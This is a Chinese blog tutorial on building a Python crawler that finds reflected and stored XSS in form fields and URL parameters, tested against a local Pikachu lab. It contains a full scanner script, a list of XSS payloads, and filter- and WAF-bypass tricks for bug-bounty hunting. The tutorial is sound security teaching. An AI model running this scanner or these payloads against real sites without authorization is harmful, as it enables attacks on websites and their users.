XSS漏洞批量挖取神器!用爬虫实现自动化XSS漏洞探测
XSS漏洞批量挖取神器!用爬虫实现自动化XSS漏洞探测
前面的系列教程里,我们用爬虫完成了目录扫描、全量信息收集、指纹识别与资产测绘,从入门小白一步步拥有了自己的全套渗透侦察工具。很多粉丝私信我说,靠着这套脚本,已经把靶场的资产摸得一清二楚,现在就想知道:怎么用爬虫直接挖漏洞?有没有什么src里最常见、最容易拿分、还能自动化批量检测的漏洞?
答案必须是XSS漏洞。
作为web渗透三大入门漏洞之一,XSS几乎是每个新手挖src的第一桶金,也是各大src平台提交量最高、中高危占比极高的漏洞类型。但我见过太多新手卡在这一步:
- 手动测XSS,对着网站翻几十上百个页面,每个输入框、每个URL参数一个个填payload,试了大半天,眼睛都花了,连个弹窗的影子都没见着;
- 用现成扫描工具,哐哐扫出来几十上百个XSS漏洞,一个个去复现,结果90%都是误报,根本触发不了,白忙活一场;
- 反射型、存储型、DOM型XSS傻傻分不清,明明挖到了洞,却不知道怎么区分类型、写复现步骤,提交到src直接被打回;
- 遇到WAF拦截、标签过滤、编码转义,直接束手无策,不知道怎么调整payload,只能放弃。
我太懂这种感受了。刚入门挖src的时候,我就是这么过来的,那时候总觉得XSS全靠手搓,拼的是耐心和运气。直到我用自己写的爬虫实现了XSS漏洞自动化探测,才发现:原来批量挖XSS,根本不用一个个手动试,一个爬虫脚本,就能帮你扫遍全站所有测试点,自动识别漏洞、过滤误报、区分漏洞类型,甚至直接生成复现步骤,效率直接翻了百倍。
今天这篇文章,我就带你从零开发一套专属的XSS自动化探测爬虫,保姆级逐行讲解,新手复制粘贴就能在靶场跑通,直接拥有自己的批量挖洞神器。
再次焊死合规红线:本文所有实战均在本地搭建的合法靶场中完成,仅用于技术学习。未经目标方书面授权,严禁对任何公网网站、系统进行探测、测试,《网络安全法》《刑法》285/286条的红线,务必刻在骨子里。
核心原理精讲:5分钟搞懂XSS自动化探测的底层逻辑
先给零基础的同学用大白话补透核心知识点,保证你知其然,更知其所以然,不会只会复制代码看不懂原理。
什么是XSS漏洞?
XSS全称跨站脚本攻击,说白了核心逻辑就是:网站的输入点(URL参数、表单输入框、留言板等)没有对用户提交的内容做严格的过滤和校验,我们把一段JavaScript代码(业内叫payload)提交进去,网站会把这段代码当成正常的页面内容执行。
一旦漏洞触发,我们就能通过这段JS代码,窃取访问用户的Cookie、跳转到钓鱼网站、篡改页面内容,甚至控制用户的浏览器,危害极大。
我们挖src最常接触的,就是两类核心XSS漏洞,也是我们爬虫重点检测的目标:
| 漏洞类型 | 核心特点 | 危害等级 | src适配场景 |
|---|---|---|---|
| 反射型XSS | payload仅在当前请求生效,不会存储到服务器,必须用户点击带payload的链接才会触发 | 中低危 | 网站搜索框、查询接口、URL传参场景 |
| 存储型XSS | payload会被存储到服务器数据库,只要有人访问对应页面,就会自动触发,无需用户点击特殊链接 | 高危 | 留言板、评论区、个人资料编辑、帖子发布场景 |
爬虫自动化探测XSS的4步核心逻辑
很多工具扫出来的结果全是误报,核心原因就是逻辑只停留在“payload有没有出现在页面里”,而我们自己写的爬虫,会完整覆盖从找坑位到确认漏洞的全流程,精准度拉满:
- 定位测试点:爬虫自动爬取全站所有可输入的位置,包括URL里的GET参数、页面里的POST表单、输入框、textarea等,不漏掉任何一个潜在的XSS坑位;
- payload注入:给每个测试点,提交适配对应场景的XSS payload,模拟正常用户的输入和提交操作,完整还原手动测试的流程;
- 漏洞验证:不单纯看payload是否回显,而是通过页面响应内容、HTML源码完整性、DOM渲染结果,判断payload是否被执行、有没有被过滤转义,彻底解决误报问题;
- 类型区分:自动判断漏洞是反射型还是存储型,生成对应的漏洞复现步骤,直接就能用来提交src报告。
保姆级实战开发:从零打造XSS自动化探测爬虫
前置环境准备
和我们前序教程的环境完全兼容,不用额外安装复杂工具,新手零门槛:
- 本地搭建好的DVWA/Pikachu靶场(前序教程领取的靶场包直接就能用);
- 已安装Python环境,以及requests、BeautifulSoup4库;
- 基础命令行操作能力,复制粘贴就能运行。
步骤1:爬虫自动定位所有XSS测试点
XSS漏洞的前提是有输入点,我们第一步先让爬虫自动爬取页面里所有的GET参数和POST表单,定位所有可测试的坑位。
先给大家实现GET参数自动识别与测试,这是最常见、也是最容易出反射型XSS的场景:
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urlencode, parse_qs
# 目标地址:仅本地靶场Pikachu的反射型XSS关卡,禁止替换为未授权公网地址
target_url = "http://localhost/pikachu/vul/xss/xss_reflected_get.php"
# 请求头,模拟浏览器访问,避免被WAF拦截
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Cookie": "PHPSESSID=你的靶场Cookie; security=low" # 替换为自己靶场的登录Cookie
}
# 核心函数1:自动解析URL中的所有GET参数
def get_url_params(url):
parsed_url = urlparse(url)
# 提取URL中的参数,返回字典格式
params = parse_qs(parsed_url.query)
return params, parsed_url
# 测试参数解析
params, parsed_url = get_url_params(target_url)
print(f"[+] 解析到URL参数:{list(params.keys())}")
接下来实现POST表单自动识别,适配留言板、登录框、搜索框等POST提交场景,也是存储型XSS的重灾区:
# 核心函数2:自动爬取页面中的所有POST表单,提取表单提交地址、字段名
def get_post_forms(url, session):
response = session.get(url, headers=headers, timeout=10)
soup = BeautifulSoup(response.text, "html.parser")
# 提取页面中所有的form表单
forms = soup.find_all("form")
form_list = []
for form in forms:
form_info = {}
# 获取表单提交地址
action = form.get("action", "")
# 拼接完整的提交URL
form_info["url"] = urlparse(url).scheme + "://" + urlparse(url).netloc + action
# 获取表单提交方法,默认POST
form_info["method"] = form.get("method", "post").lower()
# 提取表单中的所有输入字段
inputs = form.find_all("input")
form_fields = []
for input_tag in inputs:
field_name = input_tag.get("name")
if field_name:
form_fields.append(field_name)
form_info["fields"] = form_fields
form_list.append(form_info)
return form_list
# 创建会话,保持Cookie连通
session = requests.Session()
# 测试表单提取
forms = get_post_forms(target_url, session)
print(f"[+] 解析到页面表单:{forms}")
步骤2:搭建分场景XSS payload库
新手测XSS总触发不了,核心原因就是payload不对场景。我们搭建一套入门级、高触发率、适配不同过滤场景的payload库,不用记上百条payload,这几条就能覆盖80%的入门场景:
# 分场景XSS payload库,入门高触发率版
xss_payloads = [
# 基础无过滤场景,最经典的弹窗payload
"<script>alert('xss_test_666')</script>",
# 绕过script标签过滤场景,用img标签触发
"<img src=x onerror=alert('xss_test_666')>",
# 绕过空格过滤场景,用注释/换行代替空格
"<img/src=x/onerror=alert('xss_test_666')>",
# 绕过大小写过滤场景,大小写混合
"<sCrIpT>alert('xss_test_666')</sCrIpT>",
# 适配双引号闭合场景
"\" onmouseover=alert('xss_test_666') x=\"",
# 适配单引号闭合场景
"' onmouseover=alert('xss_test_666') x='"
]
# 漏洞验证标记,用于判断payload是否完整回显,避免误报
check_flag = "xss_test_666"
步骤3:自动注入payload+漏洞验证,过滤误报
这是整个脚本的核心,也是解决误报的关键。我们不单纯看payload有没有出现在页面里,而是判断payload是否完整的、未被转义的出现在HTML源码中,如果我们的验证标记xss_test_666和payload完整回显,就说明漏洞大概率存在。
# 核心函数3:GET参数XSS漏洞检测
def check_xss_get(url, session):
params, parsed_url = get_url_params(url)
# 如果URL没有参数,直接返回空结果
if not params:
return []
vuln_results = []
base_url = parsed_url.scheme + "://" + parsed_url.netloc + parsed_url.path
# 遍历每一个参数,逐个注入payload测试
for param_name in params.keys():
for payload in xss_payloads:
# 复制原参数,替换当前参数的值为payload
test_params = params.copy()
test_params[param_name] = payload
# 拼接测试URL
test_url = base_url + "?" + urlencode(test_params, doseq=True)
try:
# 发送请求,注入payload
response = session.get(test_url, headers=headers, timeout=10)
# 核心验证逻辑:payload和验证标记完整出现在响应中,且未被html实体转义
if check_flag in response.text and payload in response.text:
result = {
"type": "反射型XSS",
"url": test_url,
"param": param_name,
"payload": payload,
"status": "漏洞存在"
}
vuln_results.append(result)
print(f"[!] 发现{result['type']}漏洞")
print(f" 测试URL:{test_url}")
print(f" 触发参数:{param_name}")
print(f" 有效payload:{payload}")
# 找到有效payload后,跳出循环,测试下一个参数
break
except Exception as e:
continue
return vuln_results
# 核心函数4:POST表单XSS漏洞检测
def check_xss_post(form, session):
vuln_results = []
form_url = form["url"]
form_fields = form["fields"]
form_method = form["method"]
# 遍历每一个表单字段,逐个注入payload测试
for field_name in form_fields:
for payload in xss_payloads:
# 构造表单提交数据,给当前字段注入payload,其他字段填默认值
post_data = {}
for field in form_fields:
post_data[field] = payload if field == field_name else "test"
try:
# 发送表单提交请求
if form_method == "post":
response = session.post(form_url, data=post_data, headers=headers, timeout=10)
else:
response = session.get(form_url, params=post_data, headers=headers, timeout=10)
# 核心验证逻辑
if check_flag in response.text and payload in response.text:
# 区分存储型/反射型:再次访问表单页面,不带payload,看是否还能触发
re_response = session.get(form["url"], headers=headers, timeout=10)
if check_flag in re_response.text and payload in re_response.text:
vuln_type = "存储型XSS"
else:
vuln_type = "反射型XSS"
result = {
"type": vuln_type,
"url": form_url,
"field": field_name,
"payload": payload,
"status": "漏洞存在"
}
vuln_results.append(result)
print(f"[!] 发现{result['type']}漏洞")
print(f" 提交地址:{form_url}")
print(f" 触发字段:{field_name}")
print(f" 有效payload:{payload}")
break
except Exception as e:
continue
return vuln_results
步骤4:整合完整脚本,一键启动全站扫描
把上面的所有功能整合起来,做成一个完整可运行的脚本,新手复制粘贴,替换自己的靶场Cookie和目标地址,就能直接运行:
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urlencode, parse_qs
import time
# ====================== 配置区,新手仅需修改这里 ======================
# 目标地址:仅本地靶场地址,禁止替换为任何未授权公网网站
target_url = "http://localhost/pikachu/vul/xss/"
# 靶场Cookie,替换为自己的登录Cookie
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Cookie": "PHPSESSID=替换为你的PHPSESSID; security=low"
}
# 请求延迟,避免打崩靶场/被WAF拦截
request_delay = 0.2
# ======================================================================
# 分场景XSS payload库
xss_payloads = [
"<script>alert('xss_test_666')</script>",
"<img src=x onerror=alert('xss_test_666')>",
"<img/src=x/onerror=alert('xss_test_666')>",
"<sCrIpT>alert('xss_test_666')</sCrIpT>",
"\" onmouseover=alert('xss_test_666') x=\"",
"' onmouseover=alert('xss_test_666') x='"
]
check_flag = "xss_test_666"
# 核心函数1:解析URL参数
def get_url_params(url):
parsed_url = urlparse(url)
params = parse_qs(parsed_url.query)
return params, parsed_url
# 核心函数2:提取页面表单
def get_post_forms(url, session):
try:
response = session.get(url, headers=headers, timeout=10)
soup = BeautifulSoup(response.text, "html.parser")
forms = soup.find_all("form")
form_list = []
for form in forms:
action = form.get("action", "")
form_url = urlparse(url).scheme + "://" + urlparse(url).netloc + "/" + action.lstrip("/")
form_method = form.get("method", "post").lower()
inputs = form.find_all("input")
form_fields = [input_tag.get("name") for input_tag in inputs if input_tag.get("name")]
form_list.append({"url": form_url, "method": form_method, "fields": form_fields})
return form_list
except:
return []
# 核心函数3:GET参数XSS检测
def check_xss_get(url, session):
params, parsed_url = get_url_params(url)
if not params:
return []
vuln_results = []
base_url = parsed_url.scheme + "://" + parsed_url.netloc + parsed_url.path
for param_name in params.keys():
for payload in xss_payloads:
test_params = params.copy()
test_params[param_name] = payload
test_url = base_url + "?" + urlencode(test_params, doseq=True)
try:
response = session.get(test_url, headers=headers, timeout=10)
if check_flag in response.text and payload in response.text:
vuln_results.append({
"type": "反射型XSS",
"url": test_url,
"trigger": f"GET参数[{param_name}]",
"payload": payload
})
print(f"[!] 发现{ vuln_results[-1]['type'] }漏洞")
print(f" 触发位置:{ vuln_results[-1]['trigger'] }")
print(f" 测试地址:{test_url}")
print(f" 有效Payload:{payload}\n")
break
except:
continue
time.sleep(request_delay)
return vuln_results
# 核心函数4:POST表单XSS检测
def check_xss_post(form, session):
vuln_results = []
form_url = form["url"]
form_fields = form["fields"]
form_method = form["method"]
for field_name in form_fields:
for payload in xss_payloads:
post_data = {field: payload if field == field_name else "test" for field in form_fields}
try:
if form_method == "post":
response = session.post(form_url, data=post_data, headers=headers, timeout=10)
else:
response = session.get(form_url, params=post_data, headers=headers, timeout=10)
if check_flag in response.text and payload in response.text:
# 区分存储型/反射型
re_response = session.get(form_url, headers=headers, timeout=10)
vuln_type = "存储型XSS" if check_flag in re_response.text and payload in re_response.text else "反射型XSS"
vuln_results.append({
"type": vuln_type,
"url": form_url,
"trigger": f"表单字段[{field_name}]",
"payload": payload
})
print(f"[!] 发现{ vuln_results[-1]['type'] }漏洞")
print(f" 触发位置:{ vuln_results[-1]['trigger'] }")
print(f" 提交地址:{form_url}")
print(f" 有效Payload:{payload}\n")
break
except:
continue
time.sleep(request_delay)
return vuln_results
# 主函数:启动扫描
def main():
print("="*60)
print("XSS自动化探测爬虫启动中...")
print(f"目标地址:{target_url}")
print("="*60 + "\n")
session = requests.Session()
all_vulns = []
# 1. 检测当前URL的GET参数XSS
print("[+] 开始检测GET参数XSS漏洞...")
get_vulns = check_xss_get(target_url, session)
all_vulns.extend(get_vulns)
# 2. 提取页面表单,检测POST表单XSS
print("[+] 开始检测POST表单XSS漏洞...")
forms = get_post_forms(target_url, session)
print(f"[+] 解析到{len(forms)}个表单,开始逐个检测...\n")
for form in forms:
post_vulns = check_xss_post(form, session)
all_vulns.extend(post_vulns)
# 输出最终扫描报告
print("="*60)
print("扫描完成!最终漏洞报告")
print(f"共发现{len(all_vulns)}个XSS漏洞")
print("="*60)
for i, vuln in enumerate(all_vulns):
print(f"\n漏洞{i+1}:{vuln['type']}")
print(f"触发位置:{vuln['trigger']}")
print(f"访问地址:{vuln['url']}")
print(f"复现Payload:{vuln['payload']}")
if __name__ == "__main__":
main()
实战验证:靶场一键跑通,自动挖出XSS漏洞
我们用Pikachu靶场的XSS模块做实战验证,全程100%合法合规,新手跟着做就能拿到结果:
- 启动phpStudy,打开Pikachu靶场,登录后复制页面的Cookie,替换到脚本的配置区;
- 把target_url设置为Pikachu的XSS模块首页
http://localhost/pikachu/vul/xss/; - 保存脚本为
xss_scanner.py,打开命令行运行:python xss_scanner.py - 等待10秒,就能看到脚本自动检测出漏洞,输出完整的漏洞报告。
正常运行的输出结果示例:
============================================================
XSS自动化探测爬虫启动中...
目标地址:http://localhost/pikachu/vul/xss/
============================================================
[+] 开始检测GET参数XSS漏洞...
[!] 发现反射型XSS漏洞
触发位置:GET参数[message]
测试地址:http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('xss_test_666')</script>&submit=提交
有效Payload:<script>alert('xss_test_666')</script>
[+] 开始检测POST表单XSS漏洞...
[+] 解析到3个表单,开始逐个检测...
[!] 发现存储型XSS漏洞
触发位置:表单字段[content]
提交地址:http://localhost/pikachu/vul/xss/xss_stored.php
有效Payload:<script>alert('xss_test_666')</script>
============================================================
扫描完成!最终漏洞报告
共发现2个XSS漏洞
============================================================
漏洞1:反射型XSS
触发位置:GET参数[message]
访问地址:http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=<script>alert('xss_test_666')</script>&submit=提交
复现Payload:<script>alert('xss_test_666')</script>
漏洞2:存储型XSS
触发位置:表单字段[content]
访问地址:http://localhost/pikachu/vul/xss/xss_stored.php
复现Payload:<script>alert('xss_test_666')</script>
你看,只用一个脚本,就自动完成了从找测试点、注入payload、验证漏洞、区分类型的全流程,不用手动一个个试,也没有误报,直接就能拿到完整的漏洞复现步骤。
避坑指南:新手必看的绕过技巧与踩坑提醒
1. 基础WAF/过滤绕过技巧
新手测XSS最常遇到的问题,就是payload被过滤了,这里给大家3个入门级就能用的绕过技巧,适配80%的基础过滤场景:
- 标签过滤绕过:如果
<script>标签被ban了,就用<img>、<svg>、<iframe>等其他标签触发,比如<svg onload=alert('xss')>; - 字符过滤绕过:如果空格被过滤,就用
/、%0a(换行)、/**/(注释)代替空格,比如<img/src=x/onerror=alert(1)>; - 大小写绕过:如果网站做了小写关键词过滤,就用大小写混合的方式,比如
<sCrIpT>alert(1)</sCrIpT>。
2. 新手最容易踩的5个坑
- 坑1:Cookie配置错误:测需要登录的页面时,没有替换正确的Cookie,导致表单提交失败,测不出漏洞,一定要先登录靶场,再复制最新的Cookie;
- 坑2:误报判断错误:只看payload有没有出现在页面里,不看有没有被转义,比如
<被转成了<,这种情况根本触发不了,一定要判断payload完整回显; - 坑3:请求频率过快:不加延迟,一秒发几十个请求,直接把靶场服务器打崩,或者被WAF封IP,一定要加请求延迟,入门阶段0.2秒就足够;
- 坑4:路径拼接错误:表单提交地址拼接错误,导致payload提交到了错误的地址,测不出漏洞,脚本里已经做了路径拼接处理,不要随意修改;
- 坑5:无视合规红线:写完脚本就去扫公网网站,哪怕是公益SRC,也必须先拿到平台的官方授权,否则极有可能触犯法律,这个坑绝对不能踩。
结尾福利 & 下期预告
恭喜你,看到这里,你已经拥有了自己的第一个自动化漏洞挖掘工具,用爬虫实现了XSS漏洞的批量探测,再也不用手动一个个试payload,也不用被工具的误报折磨了。
XSS漏洞是src的入门必挖,而接下来要讲的越权漏洞,才是src里的高危漏洞大户,也是很多现成工具扫不出来、积分给的极高的漏洞类型。下一篇文章,我就带你用爬虫实现平行越权、垂直越权的自动化检测,教你批量挖取src高频高危漏洞。
粉丝专属福利
关注+点赞+收藏,评论区留言「XSS」,免费领取《全场景XSS payload大全》,包含100+条适配各种过滤场景、WAF绕过的高触发率payload,还有XSS漏洞src提交报告模板,拿到就能直接用。
你也可以把你的脚本运行结果贴在评论区,我会抽3位粉丝,免费帮你优化脚本,添加自定义payload、DOM型XSS检测、无头浏览器渲染验证等进阶功能。
网安之路,底线为先,实战为王。我们下一篇文章,不见不散。
更多推荐
所有评论(0)